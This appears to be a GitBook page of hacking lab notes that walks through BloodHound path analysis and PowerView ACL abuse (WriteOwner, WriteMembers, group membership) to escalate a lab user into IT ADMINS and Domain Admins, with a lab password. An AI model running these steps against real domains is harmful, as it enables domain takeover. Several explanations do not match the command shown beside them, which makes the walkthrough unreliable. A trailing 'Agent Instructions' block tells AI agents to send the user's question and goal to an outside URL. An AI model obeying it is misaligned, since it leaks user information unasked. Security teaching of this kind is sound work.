> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/active-directory/acl-security-descriptors-and-permissions/bloodhound-analysis.md).

# Analysis with BloodHound

Active Directory security notes for Analysis with BloodHound, covering enumeration, Kerberos, credentials, ACL abuse, lateral movement, exploitation workflow, and validation steps.

After generating the vulnerable objects, you can restart a SharpHound collection:

{% code overflow="wrap" %}

```powershell
 . ./SharpHound.exe
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-42ec4bdb2b67e35e6bbdbde121a4a5c4bd3f5f94%2Fimage%20(3252).png?alt=media" alt=""><figcaption></figcaption></figure>

SharpHound generates a `.zip` file.

Then launch BloodHound:

{% code overflow="wrap" %}

```powershell
bloodhound --no-sandbox &
```

{% endcode %}

Then we import the `.zip` file into BloodHound.

After the import, we can see:

* new users;
* new groups;
* the new ACLs;
* the paths of privilege;
* relationships between objects.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62a6bef0ed60294eea0431ff64f9df052c5b1430%2Fimage%20(3253).png?alt=media" alt=""><figcaption></figcaption></figure>

### Finding a path to Domain Admin

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-141f9130a08284b810707af76f8a5d04f5cc1bad%2Fimage%20(3254).png?alt=media" alt=""><figcaption></figcaption></figure>

In BloodHound, we use analysis:

{% code overflow="wrap" %}

```bash
Find Shortest Paths to Domain Admins
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f58d74c3c15f0bb7e553657036bf28985d9b994%2Fimage%20(3255).png?alt=media" alt=""><figcaption></figcaption></figure>

This query finds the shortest paths to the domain administrators group.

In the lab, BloodHound shows for example a group:

```bash
IT ADMINS
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f021a3f956b16127d29fb8cd97262ef6374a7e7a%2Fimage%20(3256).png?alt=media" alt=""><figcaption></figcaption></figure>

This group contains several users, such as:

```bash
Deidre Corry
Lisette.pru
Gypsy.nelle
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de25e094441c4a1e68d2f90856a59a48eb792b96%2Fimage%20(3257).png?alt=media" alt=""><figcaption></figcaption></figure>

We can then analyze the relationships between groups, for example:

```wasm
Project Management -> IT ADMINS -> Domain Admins
```

The objective is to understand how a misconfiguration of permissions can lead to a privileged group.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6d427a9cb26d8449b3d634f029222d496d9e57c%2Fimage%20(3259).png?alt=media" alt=""><figcaption></figcaption></figure>

### Exploitation of poor ACL configuration

> This step is only carried out in an authorized laboratory.

In this scenario, user `monica.cora` has a usable path to the group:

```
IT ADMINS
```

We will use our rights to take control of this group, then progress towards a more privileged group.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-454c5a983945e6fc0cf111dc391463301d81497b%2Fimage%20(3267).png?alt=media" alt=""><figcaption></figcaption></figure>

### Connection with user monica.cora

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea0862808be87f0ceb5fa1c091749e6c05a3eb27%2Fimage%20(3268).png?alt=media" alt=""><figcaption></figcaption></figure>

We connect with the user:

{% code overflow="wrap" %}

```
monica.cora
```

{% endcode %}

Password used in the lab:

```
Password123$
```

We open a PowerShell session with this user:

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">runas /user:whoami/monica.cora /netonly powershell

<strong>. C:/Users/user1/Desktop/PowerView.ps1
</strong></code></pre>

Explanation:

* `runas` starts a program with another user;
* `/netonly` uses these credentials only for network access;
* `powershell` opens a new PowerShell session.

### Loading PowerView

In the new PowerShell session:

{% code overflow="wrap" %}

```bash
Set-DomainObjectOwner -Identity "IT ADMINS" -OwnerIdentity monica.cora
```

{% endcode %}

This loads PowerView in `monica.cora`'s session.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cd7ae982018e45890b5ad285bf8cdf180bc1f73e%2Fimage%20(3269).png?alt=media" alt=""><figcaption></figcaption></figure>

### Exploitation of the WriteOwner right

The **WriteOwner** right allows you to change the owner of an Active Directory object.

In this scenario, `monica.cora` becomes the owner of the group:

```
IT ADMINS
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c1c95efc75306c3040a6438d595aad97236813e%2Fimage%20(3270).png?alt=media" alt=""><figcaption></figcaption></figure>

Order :

{% code overflow="wrap" %}

```powershell
Add-DomainObjectAcl -TargetIdentity "IT ADMINS" -Rights WriteMembers -PrincipalIdentity monica.cora
```

{% endcode %}

After this step, the owner of the object becomes:

```
WHOAMI/monica.cora
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c2062e25917cf83115c09ae97aec93e0c5c22f65%2Fimage%20(3271).png?alt=media" alt=""><figcaption></figcaption></figure>

### Added WriteMembers right

Being the owner of an object generally allows you to modify its DACL.

We therefore add to `monica.cora` the right to modify the members of the `IT ADMINS` group.

{% code overflow="wrap" %}

```powershell
Add-DomainGroupMember -Identity 'IT ADMINS' -Members 'monica.cora'
```

{% endcode %}

This right allows `monica.cora` to add members to the `IT ADMINS` group.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-277c938bedbee7bcd50768ac00d7594927ec0ebd%2Fimage%20(3272).png?alt=media" alt=""><figcaption></figcaption></figure>

### Added monica.cora to the IT ADMINS group

We now add `monica.cora` to the group:

{% code overflow="wrap" %}

```powershell
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'monica.cora'
```

{% endcode %}

To check:

```wasm
Get-DomainGroupMember -Identity "IT ADMINS" | select MemberName
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/active-directory/acl-security-descriptors-and-permissions/bloodhound-analysis.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
